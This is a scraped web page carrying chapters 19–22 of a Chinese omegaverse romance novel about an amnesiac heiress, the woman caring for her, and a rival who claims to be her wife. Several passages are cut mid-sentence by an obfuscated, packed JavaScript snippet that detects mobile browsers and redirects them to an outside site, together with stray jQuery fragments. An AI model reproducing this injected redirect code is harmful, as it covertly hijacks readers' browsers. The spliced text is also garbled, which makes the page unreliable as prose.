思绪逐渐回笼,舒清柚浅浅笑着,不带厌恶情绪。 “林絮,你感觉如何?” “我很好,睡得饱穿得暖,就是肚子饿。” 林絮摸摸肚子表示需要投喂,在面对舒清柚她忘记斟词酌句,只想袒露胸怀。 看来记忆还没恢复,如同回光返照,却也足够。 “那我们等会出去吃好吗?” 当然好呀,林絮点头,她极力控制不靠近舒清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不会等到一切都尘埃落定再送你回去,我没有义务对你负责,林絮。” 林絮慌张地手心冒汗,鼻头酸的就要抽泣。 下一步举动也被预判了,舒清柚悠悠地将纸巾推到她面前。 林絮心里更像是鼓涨着满腔池水:她甚至都不愿意为我递张纸。 “谢谢哦。” 林絮把自己的口鼻掩在纸巾里,眼眶楚楚可怜的绯红。 这几天倒是将林絮的另一面见了个遍,舒清柚心中无波澜,林絮向她讨要摸头的姿态呼之欲出。 舒清柚语句平缓,理性地告诉林絮。 “你不用这样低声下气,我不会对你怎么样。” “可你刚才那意思,要赶我走。” 舒清柚不否认,也没赞同,她换了个说法。 “或许,可以当作暂住的旅馆。” “旅馆...” 听着让人不快的说辞,等于为两人间划清界限,林絮一想到这些,登时呜咽不已。 19. 第 19 章 舒清柚不算忽悠她,她特地载她去市区的一家还不错的餐厅。 可这好歹是林絮伤春悲秋后一个钟头的结果,她的泪腺就像被舒清柚按下开关键,简单几句话就能将她击溃。 “你,你是怎么用36度的嘴说出这么残忍句子的。” 林絮边哭边控诉,纸巾一张接着一张揉成团,哭地梨花带雨。 还想着舒清柚是不是铁打的心肠,她已经卑微到尘土里了,还木然地放她孤单哭泣。 后方舒绒也被林絮突兀的声响打消了玩耍兴致,怔愣看着妈妈和坏姐姐。 坏姐姐的眼泪比她还多耶,舒绒偷偷开心,收拾坏姐姐,妈妈真厉害。 舒清柚终于抵不过同情心泛滥,况且在女儿面前,成年人有点丢人现眼。 把她领到洗手间,扭开水龙头。 “不哭,洗好脸,晚些带你去吃饭。” 林絮任性地甩开胳膊上的手,水流声也没将她的极度不满掩盖。 “你把我当三岁舒绒哄呢!气都气饱了,还说照顾到我恢复记忆,你骗人!” “可你昨晚真真切切恢复记忆了。” 至于今早林絮的变回我快乐小狗清爽女大,大起大落,舒清柚无心欣赏,她自诩是正常人,难以做到平和对待。 今天一个样,明天变成死性不改的旧人,和精神分裂区别也不大了。 然而林絮半点印象都没有,舒清柚提醒她不要浪费水。 林絮垂下脑袋,双掌掬捧温水,热乎地液体扑在脸颊,额前碎发被浸湿。 她就着布满水的脸,折腾成‘你欺负我,要负责的’信誓旦旦的小可怜。 “不算数的,今天的我是我,昨天的我是昨天的,人不可能两次踏入同一条河流。” 智商还在,舒清柚被她这套看似一本正经的哲学逻辑逗地挑了下眉。 “那我也不再是我。” 这下轮到林絮懵了瞬,她睫毛地沾着水珠,一小簇黏在一块,亮晶晶的。 “昨天的我还没有想法让你回家,今天的我呢,有所改变。” “你以自我为中心武断下结论,你也没考虑过我。” 舒清柚习惯照顾林絮,把她当大孩子,手持毛巾细致温柔地在林絮脸上擦拭。 “你也不要和我狡辩,我不会因为你讨好,就改变决定。” 意思是舒清柚要丢掉她了?再也见不到舒清柚的念头,像一盆冷水兜头浇下。 她脑子嗡嗡发懵,急切抓住舒清柚的手腕,大步前倾,将人推到浴室墙壁。 林絮不敢太用力,手掌心枕在舒清柚脑后,发烫的呼吸就像林絮心态一样,恨不得黏在舒清柚身上。 不偏不倚,林絮握紧的地方是舒清柚陈旧伤疤。 其实早就不疼了,心理作用影响下,才会有幻痛的感觉。 如今被林絮粗暴对待,她垂下眼睑,蹙着眉,忽视手腕传来的钝痛。 舒清柚不可避免想起,昨晚林絮撕下抑制贴,她视线停留在林絮脖颈处。 光洁的皮肤,小而白的腺体涨起,开口位置飘着一层粉。 照林絮这般迫不及待的模样,腺体有膨胀的趋势,即将分泌花香信息素。 “舒姐姐,你告诉我,我昨晚是不是做了超级过分的蠢事,导致你不由分说就要赶走我。” 林絮吐息灼热,压低的声线滑过舒清柚耳畔,舒清柚的耳尖传递着酥.麻感。 “没,你很正常。” 不温不火的回答,林絮很有意见。 “才不是,我做了梦,梦里面我欺负你了。” 舒清柚对她们两人的姿势颇为防备,她低头看拖鞋,避免与林絮对视。 这呆子,还是没想起来,她低声道:“梦是反的。” “是真的!白日梦才是反的。” 舒清柚被按在墙上,还能说什么? 林絮有种一头热的不快,她扣住对方下颌,舒清柚不反抗,眼底划过轻蔑的淡然。 心头悄然阵痛,林絮眼尾烧红,紧住舒清柚漂亮的樱唇。 她敛着指节的按压,大拇指却存着小心思,在饱满的下唇处摩挲了下。 “舒姐姐,我到底做了什么?求求你,别瞒着我。” 往日重现,林絮最喜欢这样,以上位者身份,自视甚高,其她人都是渺小微不足道,供她享乐的工具。 林絮指尖带着浓.欲,意味着她想接吻,舒清柚再清楚不过。 要多久,林絮会亲她? 喉节滚动,林絮的眼眸萦浮薄雾,甜香味近在咫尺,她却感觉自己是一只失去方向的小船,远方灯塔黯淡无光。 时间一分一秒过去,舒绒开始担心,她站在卫生间外,门紧锁,推不开。 她伸出爪子叩门,还很有规律,生怕惊扰了妈妈。 林絮恍然,她红着眼睛,放开压制。 舒清柚撩起眸子,冷然地像秋夜泠月,不带情绪,平日的温情消失在内。 “林絮,能成熟点吗?” 嘴唇抿成直线,林絮咬牙不说话,她猛地拉开门,舒绒扒拉在门上,一个不留神摔在林絮大腿上。 林絮看了眼,强颜欢笑,这小东西倒是很护她妈。 “放心,只有你妈搞我的份,别挡道。” 此后,林絮忍气吞声坐在副驾驶,哭过的眼睛还表达不平。 临近冬日,天色逐渐被铅灰替代,空旷的天际线鸟鸣回响,花草败落显露。 舒清柚沉默不语,越往城区开,林絮难以忍受。 她无奈受伤地闷声道:“你要把我送去派出所了,就像你之前开玩笑要把我卖给你老师。” 没想到林絮还记仇小玩笑。 她没有直接回复,直到前方红灯停下,她耐心解释。 “第一,我允诺你带你吃饭,第二,我老师的妻子是画家,偶尔就会找你这样的小姑娘当人体模特。” 知道是误会,林絮哦了声,又继续指责,振振有词。 “等你老师查出缘由,你就要把我扔了。” 这是在让她有愧疚感?也算说对一半,她不是扔掉她,只是她们终究会分道扬镳,早点相忘于江湖,对双方都好。 “你是害怕独自面对,还是...” 林絮闭口不谈,她能说舍不得吗?能说我对你一见钟情,巴不得每天睁眼睡着前都是你的脸吗? 要保持成熟,首先就是话少,学舒清柚,她三缄其口,就死鸭子嘴硬。 舒清柚住所离市区不算太远,到餐厅后,询问林絮想吃的,奈何林絮无论如何不张嘴。 只好擅自为她点单,舒绒最喜欢吃甜食,草莓小蛋糕先上来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325883|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛放光吃的腮帮子很是满足。 林絮瞥了眼,不就一普普通通蛋糕,至于这么狼吞虎咽。 “绒绒怎么瘦的和火柴杆似的。” “她有点挑食。” 看得出来舒清柚对舒绒虽然关怀入微,也会控制她营养均衡,林絮想,别说女儿了,要有个宠物,爱吃的,她肯定大手笔买来给它炫个够。 不多时,飘香的肉和青翠绿菜依次摆桌,林絮一下就被高热量美式炸鸡和附赠的冰淇淋球吸引。 三两下,香草冰淇淋就全进了林絮的肚子。 至于炸鸡,林絮矜持了会,含蓄地询问:“你和舒绒都没吃炸鸡,是不是不喜欢呀?” 舒清柚慢条斯理地咀嚼蔬菜,咽下,眼波在林絮沾染酱料的唇角转了下。 “别浪费,这些麻烦你了。” 尽管林絮没说话,当菜单的炸鸡图片出来,林絮在上面停留了两秒。 话落,林絮毫无心理负担,大部分的食物都被林絮消灭。 “吃慢点,我们不和你抢。” 舒清柚捻着湿纸巾帮林絮擦拭嘴角油渍,真怪异,林絮以前过的是什么苦日子。 林絮怔忡着,舒清柚不止一次做这般自然的动作,她眼睛迟迟没有从拿炸鸡的塑料手套离开。 她恐慌不已,舒清柚以前和她关系亲密到这地步。 犹如热锅蚂蚁,脸燥心跳,接住纸巾,缩起声音。 “舒姐姐,我...” “嗯?” 舒清柚没有任何超出友善的意思。 “没什么,我自己来。” 沮丧地擦净嘴唇,喝了口清香的麦茶,林絮没了食欲,不断地瞟着舒清柚。 算好时间,舒清柚打开导航定位,车子还需开一段距离。 察觉到林絮探究的目光,她淡道:“没吃饱吗?如果还想点餐,就只能外带了。” 舒清柚对她不冷不热的,林絮也没好多问,摇头说吃饱喝足,她只好心问着价格。 对于金钱,缺乏安全感的林絮格外敏感,甚至有在揣测是否养她开销大,所以舒清柚丢掉她也是情理之中。 这种情绪一旦被放大,她就更忍不住看清价款,一看,心凉了大半截,这一顿,怎么就吃了近两千。 林絮顿时变得郁郁寡欢。 “吃坏肚子了吗?” 系上安全带,舒清柚转过头就看见林絮拉着脸捂肚子。 “不啊,我就在想,舒姐姐,你的生活是不是向来都比较拮据,或者说勤俭持家?” 导航发出提示音,舒清柚自然地回复。 “如果你考虑我经济状况,大可不必,至少养得起绒绒。” 和林絮在一起的一年中,林絮帮她还清债务,舒清柚也在林絮以及老师人脉介绍下,卖出些作品获得相应报酬。 她完全可以兑现千万遣散费,初始,总有种念头,如果她花掉这笔钱,那么她和林絮之间彻底断了。 到后来做完标记手术,依赖不再,对于一千万,她主动撇清关系,从未碰过那笔钱。 怎么就提到孩子了,林絮看着手机地点,不是回家的路线。 “我们还要去见谁吗?” “一个朋友。” 不知为何,林絮升起警觉:“谁?” “前女友。” 20. 第 20 章 “确定要留在这?” 舒清柚手搭在车门开关,回头望了眼俨然装睡的林絮,外套搭在身上,只留个后脑勺出来。 “管我那么多,你是我妈?” 不是不想跟着去,林絮只觉她被舒清柚隔绝在外,烫手山芋一样,要把她尽快丢掉。 前女友,也不是现任,有什么好见的。 舒清柚考虑几秒,给出结论,“我无法胜任。” 反正林絮和她闹了不止一时半会,也不差这些时间。 明知道林絮不是真心说让她当她妈的意思。 舒清柚长腿踏出,一股冷风冲刷暖和的车内,林絮抿嘴,愤懑扭过脖子,直勾勾地瞪着她。 “站住,不准走!” 舒清柚好笑地问:“你在命令我?” “是又怎么样,”林絮壮着胆子,“你先告诉我,你去干嘛。” “我有义务告诉你?” 在她眼里,林絮就像质问妻子的老婆,去哪里,做什么,几时回。 “没有...” 林絮理亏,不知说什么话挽留,她一转常态,双手合十示弱。 “拜托拜托嘛,舒姐姐。” 真是一招吃遍天下,舒清柚啼笑皆非,林絮稚气也就只能在这种时候见识到。 不得不说,仅有这样,林絮给她存在的实感更强烈。 林絮神情鲜活,唇红齿白,朗星双目,的确不太适合垮脸沉闷。 紧接着,林絮把夹克摆正,在口袋摸出手机。 “舒姐姐,你还没告诉我你的电话,也不知道你什么时候回来,我一个人多孤单。” 如果她要的只是号码,舒清柚可以理解,她指可指后座,纠正林絮的错误。 “舒绒在。” “她?你不会认为我和小孩子有共同语言吧。” 舒清柚接过手机,不以为然。 “我是去谈工作。” 输入一串数字后,林絮没等她出声,把手机抢过来,拨通电话,低头呢喃。 舒清柚看她猴急劲,肯定道:“某些方面你倒不如三岁的绒绒。” 林絮坚决否认,和小孩比较,她面子何在。 “才不是,我能保护照顾你,她这么小,连个矿泉水瓶都拧不开。” 舒清柚意味深长地沉默着。 她要去的地方是还未开张的咖啡厅,也不是刀山火海,林絮现在总爱把小事扩大化。 还提矿泉水瓶,换做她们在一起时,基本上都是舒清柚帮她拧开的。 到底谁照顾谁? 她判定林絮小孩子心性也并非空穴来风,舒清柚临走前还不忘叮嘱:“车钥匙留在上面,空调开着,你们别睡过去。” 话音刚落,铃声响起,舒清柚单手抵住车门,另只手拿起手机。 显示一串舒清柚帮林絮选的号码。 舒清柚:“.....” 她朝林絮歪了下头。 林絮理直气壮地扬起下巴,“就是我打的,担心你忽悠我,给假号码。” 咖啡厅就在马路对面,遥遥相望也能看清那是正规店面,林絮的掌控欲还是老样子。 舒清柚深深地凝了她一眼,转身离开。 这儿人不多,大多数人骑脚踏车,梧桐树洒落形状各异的阴影,舒清柚留给林絮一个越来越小的黑色呢绒大衣背影。 林絮的眼睛就仿佛固成实质,一直跟随着舒清柚,直至她拐进一个巷口,林絮很失落。 “她走了。” “不要你了。” “喂你有在听吗?” 来自林絮灵魂三连发问,过了会,舒绒才反应过来大姐姐和她交流。 她从图画书上移开,抬起脸,大姐姐很不开心,就像吃了苦苦的药。 小孩就是小孩,不理解她复杂的情感,林絮唉声叹气,“你要是会说话,还能帮我排解下。” 舒绒摇了摇头,妈妈不是不要她,妈妈很快就回来。 以前独自在家,妈妈会给她一个亲亲,告诉她只要看完一本书,或者动画片,妈妈就会回到家。 她才刚开始看书,舒绒苦恼着不知如何应对林絮。 车子隔音效果不算好,林絮耳中传入鸣笛声,三五成群路人的交谈,忙忙碌碌的,今天是工作日啊。 她不禁想,如果回到从前,那么她还会对舒清柚患得患失吗? 以前有喜欢过谁吗?不管怎样,豪门总离不开人际往来。 打开手机搜索一番,很快在自己名字词条下,出现一系列浮夸不着边际的形容,随手点开一个网页,跳出和某些名人的合照。 或者在哪栋商场高楼进行剪彩庆贺,豪车鲜花,唯独没看到身边出现哪位女性照片。 这样的生活,是她一直期望的吗? 林絮心知肚明,这类人的生活,得到越多失去越多,责任如山。 尤其是上面给她的定义还是集团继承人,那她不得日理万机呀,哪还有个人生活可言。 一个失去记忆的继承人,会被赶出家门吧,电视剧里这种人也都是被当作炮灰。 她犹豫再三,查看失忆的相关线索,按医生所言,她属于神经系统损伤导致回忆能力缺失。 但不排除心理和情感因素,大脑对部分内容删除或隐藏,被潜意识淡化。 不论是哪种,都令她心悸,像无头苍蝇,找不到出口。 “舒绒,要不我带你去找妈妈?” 舒绒没理睬林絮,听到了,也只是随意发出不明所以的音节。 装听不见,林絮笑眯眯地抽出舒绒的图画书,十分友好。 “我说,你和我一起去找你妈妈好不好呀,你要学会担心她。” 舒绒伸手去够书本,奈何林絮已经把书举到她摸不到的地方,妈妈不在身边,大姐姐会欺负她。 思来想去,形势所迫,她张开双手,示意林絮抱。 “啧,这么大了,到哪都要人抱抱,一双腿白长了。” 嘴上吐槽,实际林絮也不觉得舒绒重,睫毛小刷子一样密,尽显萌态,还有小胳膊小腿,骨头软,抱着取暖是不错的选择。 舒绒下巴搁在林絮的肩上。 咖啡厅还没开张,大门被一把锁扣牢住,玻璃门里桌椅堆积成小山,后厨在最里头,应该从小巷口可以进出。 林絮走进巷口,东张西望,几个行人路过,打量她一眼,她不好意思再狗狗祟祟。 老破小房屋窗外延伸出错落竹竿,晾晒刚洗好的衣服。 花花绿绿的布料随风飞摆,空气中透着洗衣粉味,看久了晕乎乎的。 巷子左手边就是咖啡厅后门,虚掩着,她踩在干涸的地面,捂住舒绒的嘴,推开门。 不锈钢料理台反射着白炽灯光,亮堂堂的,架子满是咖啡豆的包装袋。 女声在办公室之类的房间交谈,其中之一就是她熟悉的。 房间外百叶窗户拉紧,林絮不得不偷听。 一道温其如玉的声音,娓娓道来。 “清柚,那我们说定了,直销,寄售和联名定制,我这一旦试营业,先一次性采购普通马克杯,意式浓缩杯。” 舒清柚轻呷口咖啡,花果香充盈口鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池嘉清点着物品,见舒清柚不说话,盯着那女人开溜的方向,她以为舒清柚担心,出言安慰。 “哎呀你放心,我这有摄像头,要丢东西我及时报警。” “嗯,应该不是小偷,可能走错路了。” 之后两人敲定交货日期和佣金分成,舒清柚向池嘉告别,承诺等她咖啡店正式开张,一定把女儿带来捧场。 饶了一圈回到车上的林絮,轻轻捏着舒绒的小鼻头,惩戒似的警告。 “你这倒霉孩子,人家叫你名字你就应,我和你妈妈不在你身边,岂不是随便一个陌生人就能把你拐跑。” “你妈妈没教过你,不要随便和陌生人说话,哦我忘了,你不会讲话,那你不要随便听陌生人说的,把耳朵闭上。” 舒绒被她唬住,连忙将两侧耳朵压拢在手心,表示自己会很乖。 林絮忍俊不禁,“眼睛也不许睁开。” 成功驯服舒绒,林絮颇为得意。 “不错,等你妈妈回来我让她给你买小蛋糕。” 但是没看见舒清柚前女友的长相,林絮极其惋惜,毕竟知己知彼才能百战百胜。 她又冒起新一轮的焦虑。 半晌,随车门打开,林絮还沉浸在焦虑中,吓了跳,摸了摸鼻子。 “你,你回来啦,还挺快,呵呵。” “不快点,某人就要闹翻天了。” 舒清柚慢吞吞地坐在副驾驶,靴子鞋尖轻搭在油门上,美目稍侧。 林絮心一紧,顿觉嘴唇干巴巴的。 她掀起眼睑,见舒清柚悠悠地启唇:“林絮,你心虚什么?” 21. 第 21 章 是敞开心扉坦言,或沉默不语。 在两者间,她选择此地无银三百两,转移话题,模糊重点,告诉舒清柚绒绒想吃甜品,下车后发现没带钱。 为证明没说谎,还打开导航给舒清柚看甜品店搜索。 按下熄屏键,漆黑屏幕映出舒清柚冷然的脸,都清楚这是冠冕堂皇的借口。 林絮抱着微不足道的侥幸心理,扭过头:“绒绒,我们说好的,带你吃小蛋糕对吗?” 笃定舒绒难以分辨话术区别,林絮推卸责任,没底线地搬出小孩当理由。 舒清柚并不计较,林絮心口不一大概是日常习惯,假装理直气壮,实则就是耍小孩脾性。 “你让我买,这何尝不是借花献佛呢?” 心思被戳中,林絮干笑两声,目光游移到路对面咖啡厅。 她忍不住开口:“舒姐姐,你前任她还挂念你吗?” 车子打火,平速前行,舒清柚想了想,也决定让林絮捉摸不定。 “应该吧。” 手机号一直未变,社交帐号也都在,舒清柚的朋友圈还停留在四年前,已经拉黑林絮。 最后一条消息是林絮给她发张对戒指照片,其中之一套在冷白的手指末端,骨节微曲,在暖光灯下,鸽子蛋大小的钻石璀璨四射。 林絮问她好不好看,舒清柚理所当然顺从,格式化礼貌夸了几句,并没有自以为是送她的。 她配不上,两人当时已走到穷途,无任何转圜的余地。 林絮:【你可以发在朋友圈。】 舒清柚指尖轻点屏幕发送:【不必。】 【我坚持。】 不得已,舒清柚在朋友圈放了这张图,搭配无话可说的表情包。 结果一群人,不熟悉的也给她纷纷点赞送祝福。 也就是那时,池嘉给她包了个红包,她有些无从应对,草草解释后,池嘉和她联系频繁了些,也想和女友买个情侣对戒。 回家途中,舒绒如愿得到小蛋糕,也给林絮买了一个,到店时,眼睛黏在五颜六色的甜品上,舒清柚怀疑,最开始是林絮想吃,顺便满足舒绒。 林絮蛋糕吃了一半差点噎住,努力吞咽才缓和些,眼眶憋得通红,车子快到目的地,舒清柚放慢车速。 舒清柚用余光,打开扶手箱示意有小瓶水,然后单手帮她缓和后背,林絮的鼻子抽抽嗒嗒的。 但是舒清柚的手柔软,带了些如玉温度,覆在她背脊磋磨,林絮的心情就像被注入氧气,餍足且顺畅。 她好心将剩余蛋糕丢给舒绒。 后座的舒绒收获意外之喜,嘴巴微张,巧克力蛋糕,不一样的口味。 看到舒绒小吃货满意,林絮感慨。 “舒绒真有口福,对不对呀,舒姐姐。” 女儿又不是垃圾回收站,舒清柚不好伤害这俩的自尊心,暗自为舒绒感到悲哀,摊上这样的A妈。 “有个人在那...” 林絮正往嘴里闷头灌水,水声挤压到耳膜,没太听清舒清柚简短的语句。 “舒姐姐,你刚说什么东西?” 车子停下,前院翻飞的银杏树下,一辆跑车高调停在与它格格不入的地段。 隔壁邻居经过林絮的装腔作势,转变地很有眼力见,不敢明目张胆打量,只低声蛐蛐这家人不是她们寻常人能招惹的起。 顾怀愿看着车门打开,身穿大衣的长发女子走出,纤柔身姿静立,她飘来一眼,那眸光似琉璃,清澈不掺杂质。 舒清柚就这样定定地和顾怀愿对视,颇有遗世独立的绰约。 “舒姐姐,你认识她吗?” 副驾驶下来的林絮大大咧咧,水瓶被她捏扁,打算找个垃圾桶,却瞥见一个发型酒红大波浪张扬的女人。 脸上分明写着不怀好意和质疑,林絮蹙紧眉心,立即横亘在她们当中,来者不善,她可不能退缩。 “你报上名来。” 报上名来?顾怀愿还没从震惊里抽出。 她算是歪打正着,这舒家一查不知道,竟牵扯出前些年的一场车祸,两车相撞,林絮母亲当场身亡,另一辆车主已经逃逸,途中却被大货车甩尾。 事发突然,林絮听到消息直接晕倒,醒来后任何人都不见,连母亲葬礼也不愿参加,只把自己暗无天日地母亲的房间。 也难怪,林絮很小的时候,妈妈因病去世,一圈亲戚全是豺狼虎豹。 只有母亲独自带她,百般宠溺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325885|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后长成混世小魔王,自视甚高,经常目中无人。 但小魔王很依赖母亲。 母亲一通电话,无论林絮身在何处,哪怕是远隔太平洋,都会想方设法赶回家中。 她们圈子里的玩伴,一致赞同林絮有严重恋母情结。 母亲死后,林絮被迫长大,她的祖母林老太犹如高高在上女王,掌控八方,还是顾怀愿把她从日夜颠倒的混乱中揪出。 再不讨好林老太,而是消弭在悲怆中,林絮就太对不起母亲生前为她铺就的路,何况林絮顶级A的身份,也不能就此糟蹋。 “林絮!叫我一通好找,你这家伙没死啊!” 虽然林絮后面的女人让她眼前一亮,这不是重点,众人都猜测林絮重蹈她母亲覆辙,出车祸。 智能AI轿车冲撞环山路的护栏,摔入丛林密布山下,护栏直挺挺插入挡风玻璃,捅穿了司机脑门,不出意外血浆应该流了一地。 鉴于被路过车辆发现时,车子已经失火爆炸,雨势也无法浇灭。 那具尸体早就被烧焦成黑黢人干,惨不忍睹。 顾怀愿得到的消息那是林絮名下的车,而尸体是一个男性,林絮本人了无音讯。 可惜,警方的这些消息被林家买通,车祸一事秘而不宣。 看来林家里头对此事见怪不怪,早有预谋,正是如此,那些狗亲戚已经在盘算如何蚕食瓜分林絮的权力。 顾怀愿急于找到她,不仅为自己,好歹和林絮存有丁点朋友的情分。 面临气势汹汹的顾怀愿,林絮下意识后退。 这红发女人干嘛要吃了她的样子,林絮心里打着鼓,舒清柚担心她激动到跌倒,出手搭在她腰间。 “她和你很熟。” 舒清柚的声音擦过林絮耳畔,就像秋霜初降,透着凉薄冷意,林絮莫名寒噤。 女人发色抓眼,一边捋至耳后,金属质感耳钉如本人一样锋芒锐利。 短裙皮衣,露出来的肚脐镶嵌颗脐钉,豪车配美人,放在哪里都是瞩目的存在。 女人中指所戴的戒指,舒清柚不觉多看一眼,心中了然,亦如她当年所想。 那对定制高奢剔透钻戒,只是林絮随口一问的消遣。 22. 第 22 章 腰后抵住一只手掌,仿佛能感觉到细腻的触感,舒清柚说她们很熟,不是疑问句,林絮仅有的纸老虎气势倏地消失殆尽。 “我和她真不熟,” 林絮垂下脖颈,戚戚然开口,妄图解释又无从讲起。 女人离自己越来越近,林絮已经生出让舒清柚给自己当挡箭牌的念头。 “未必。” 舒清柚冷静抽离,当年猜测是一方面,现在切实看到,另当别论,而她也不愿再与林絮多纠缠。 林絮有自己的交际圈,人生大事,和别的O结婚,也不过早晚。 “干嘛一副见鬼的样子,神经,你在这度假还是搞农家乐?” 有前车之鉴,顾怀愿也不踩恨天高,腿上蹬着马丁靴,走起来英姿飒爽,气场全开,顾及林絮反感肢体触碰。 距她半臂之遥停下,林絮一不做二不休,挽上舒清柚的胳膊,壮怂人胆。 “你有话说话,不准动手动脚。” 舒清柚突然被林絮紧紧捱住,有种被架在火上烤的不安。 这家伙还是林絮吗?!顾怀愿叹为观止,不近人情,更不近女色,竟然贴在Omega身上。 “不,等等,你是林絮没错吧。” 林絮转动眼珠子,理所当然,气呼呼道:“废话,难不成你是啊?” 一反常态,顾怀愿总算晓得违和感来源于哪里。 她点点脑门,怪异地问:“你这里,该不会摔坏了吧。” 林絮心里一咯噔,真撞上老熟人了,对方要知道她失忆,会不会采取非法措施对她做不好的事情。 而舒清柚始终缄默不语,视线从她们身上移开,缓缓吐出一口雾气。 车上不会放烟,再通风,烟雾也会附着在物体上,形成三手烟,对小孩伤害过大。 刚才路过便利店,应该买一包的。 舒清柚稍微过头:“你们先聊。” “舒姐姐...” 甜香味漫在空气中,林絮无用功地想挽留舒清柚。 “你陪陪我嘛。” 这家伙,还叫上姐姐了,顾怀愿瞳孔地震,几秒后,豁地笑出声,“你什么时候也叫我姐姐?” 林絮瞪了她一眼:“谁给你脸了,你谁啊!” 从小,顾怀愿就爱和林絮顶嘴,两人总争锋相对,不相上下,她平静且很快接受林絮变成傻子的现实。 电视剧不都这样写的,出车祸,脑震荡,她估摸着八九不离十。 顾怀愿扯起嘴角,前倾身子,逗弄意味满满:“想不到,你竟然把我这位糟糠之妻忘了,转头去叫别人姐姐呢...” 糟糠之妻?! 犹如天雷直接劈头炸下,她结婚了?林絮下巴都快惊掉了。 所以舒清柚是知道的,这些天一直和她保持疏离的关系,她不可能插足,也很不屑。 林絮顿时像触电似的立刻松开舒清柚,手心出了层薄的冷汗,她嗫嚅着嘴唇:“舒姐姐,对不起。” 热乎的体温陡然在冷空气下降低,舒清柚怔了一瞬,捻了捻指尖,很快恢复气定神闲,不急不躁地点头。 “没关系,恐怕你们要在这外面办事了,我还要出门一趟,恕我无法招待。” 说罢,舒清柚觉得太阳穴生疼,应该不是旧疾发作。 林絮察觉到舒清柚比之前更冷淡了,几近于厌恶,就像被脏东西碰到,想尽快脱手。 “舒姐姐,你去哪,我陪你?” 屏蔽了外在噪音一般,只余下白噪音在耳膜内乱窜,舒清柚蹙着眉心,无视掉林絮的近身 赶快回到车上,启动发动机。 离开前,舒清柚瞥见女儿,将一切置身于事外,小拳头里包小勺子,挖着林絮不要的巧克力蛋糕。 看到妈妈上车了,甜甜地笑了下,嘴角还残留着巧克力碎屑。 杏树叶卷地飘起,游丝寒风扫过林絮脸颊,懊恼自己应该拦住舒清柚的,而不是在这里看着车屁股。 好不容易才避开把她送走的话题,现在又冷脸相待了。 她闷闷地与女人对视,憋屈,但不知如何面对妻子,嘴巴像涂抹胶水一样难受。 “我,不记得结婚了。” 顾怀愿看她吃瘪的苦样,新奇的很,抬手亮了下戒指:“我们的结婚戒,好看吧,还是你亲手为我戴上的。” 下意识在手指摸了下,她愤然反驳:“你骗人,你如果是我妻子,我为什么没有戒指。” 顾怀愿一脸看傻子地表情,耸肩,撩了下大波浪:“你车子都翻到山下了,戒指掉了不足为奇。” “我记不起来了。” “关于这个,我会治好你的。” 悠哉地踱至车边,林絮还在原地发呆,顾怀愿招招手,催促:“走了,愣着干嘛。” 尽管不情不愿,林絮磨磨唧唧坐上去,有种似曾相识感,林絮低落了几分,心有不甘。 “你叫什么?” “顾怀愿。” 林絮还没琢磨这三个字怎么写,顾怀愿就上下打量着她,还用上挑刺的语气。 “怎么穿成这样,你口中的姐姐给你搭的衣服啊,都不是你平常的风格。” 听见她提舒清柚,林絮鼻子一酸,在所谓的妻子的车上,她猛地压住酸胀不适,气不打一出来,攥紧手心。 她哼声:“你管不着。” 顾怀愿拿出手机,摄像头对准林絮,无声地拍了张林絮别扭的照片。 “你干嘛!”林絮说着就要去抢顾怀愿的手机,“我都来了你还要怎么样。” 还是老样子,顾怀愿嗤声,不紧不慢说:“留张照片给你家里人看,免得人家都快把你死亡讣告发出来。” 林絮傻了眼,也不抢手机了,皱眉道:“家人,死亡?你说清楚。” 看来还不算笨过头,顾怀愿手机里有个视频,是偷摸在董事会拍下的,顾怀愿代表顾家也算一个股东席位。 她喏了声,林絮迟疑地看了看她,低头点开屏幕的暂停键。 会议领头人是林絮的舅舅,林海,西装革履,梳着油腻大背头,脸上的春风得意都快溢出来。 林海望向顾怀愿,顾怀愿白了他一眼,林海笑容如常。 会议室内气氛沉肃,桌前的人神色各异,低头翻阅文件,不时交头接耳。 流言是真的,林家继承人要易主的消息不胫而走。 “各位。” 坐在首席的林海清了清嗓子,环视一圈,声音稳重带着些许隐匿的急切。 刚开始还算正常,走常规流程,进行到一半,某区块链数字出现大幅度波动。 林海喉咙发出闷咳,众人心思活泛。 “自从林总失踪后,公司管理层面临不稳定局面,我们不能让权力真空持续下去,因此,我提议...” 看到这,林絮才有了身为林家一份子的实感,后面就是对CEO任命裁决什么的,她似懂非懂。 直到进度条走完,林絮还盯住屏幕不放。 “喂喂喂,你给我正常点,这不是闹着玩你知道吗?” 林絮缓缓抬起脑袋,目光严肃,朝顾怀愿摇头。 “我解决不了。” “什么意思解决不了,你先和我回去。” 